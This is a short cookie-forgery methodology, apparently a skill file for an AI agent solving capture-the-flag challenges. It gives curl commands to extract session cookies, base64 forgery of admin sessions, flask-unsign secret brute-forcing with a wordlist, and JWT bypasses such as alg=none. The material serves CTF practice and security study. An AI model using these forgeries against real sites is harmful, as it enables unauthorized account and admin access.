Cookie Analysis

Cookie Analysis & Forgery Methodology

When to Use

• You found a session cookie and want to forge it
• BEFORE running flask-unsign or any brute-force tool
• When you need to bypass authentication via cookie manipulation

Step 1: Extract the cookie

curl -sI http://TARGET/ | grep -i set-cookie

Step 2: Identify cookie type

Test A: Base64 decode

echo '<cookie_value>' | base64 -d 2>/dev/null
# Also try URL-decoded version:
python3 -c "import base64,urllib.parse; print(base64.b64decode(urllib.parse.unquote('<cookie>')))"

If it decodes to valid JSON → UNSIGNED BASE64 (most common in CTF!)

• Attack: forge directly — takes 5 seconds

# Forge admin session
echo -n '{"user_id":1}' | base64
# Use as cookie:
curl -b 'session=eyJ1c2VyX2lkIjoxfQ==' http://TARGET/admin/flag

• Try variations:

echo -n '{"user_id":1}' | base64
echo -n '{"role":"admin"}' | base64
echo -n '{"is_admin":true}' | base64
echo -n '{"user_id":1,"role":"admin"}' | base64
echo -n '{"username":"admin"}' | base64

Test B: Flask itsdangerous signature

If the cookie has a . followed by a signature portion:

# Cookie looks like: eyJ...IjoxfQ.Xk2Ypg.dBV2_DkvOBP3...
flask-unsign --decode --cookie '<cookie>'
# If decode works → Flask signed cookie
flask-unsign --unsign --cookie '<cookie>' --wordlist $ABOUTSECURITY_ROOT/Dic/passwords.txt

Test C: JWT

If the cookie has three base64 parts separated by .:

# Header.Payload.Signature
echo '<first_part>' | base64 -d  # Should show {"alg":"...","typ":"JWT"}
# → Use Skill(skill="jwt-attack-methodology")

Test D: Encrypted/Binary

If base64 decode produces garbage → encrypted cookie

• Need key or padding oracle attack
• Check source code for encryption key

Step 3: Common bypass patterns

• If unsigned: forge with user_id=1, role=admin, is_admin=true
• If Flask-signed: try common keys ('secret', app name, etc.)
• If JWT with alg=none: remove signature, set alg to "none"
• If JWT with HS256: try common secrets, check for JWKS endpoint

Critical Reminders

• NEVER run flask-unsign on unsigned cookies — wastes 25+ minutes and ALWAYS fails
• Always decode the cookie FIRST to determine its type
• Base64 JSON cookies are the most common type in CTF challenges
• Direct forgery takes 5 seconds vs brute-forcing takes 25+ minutes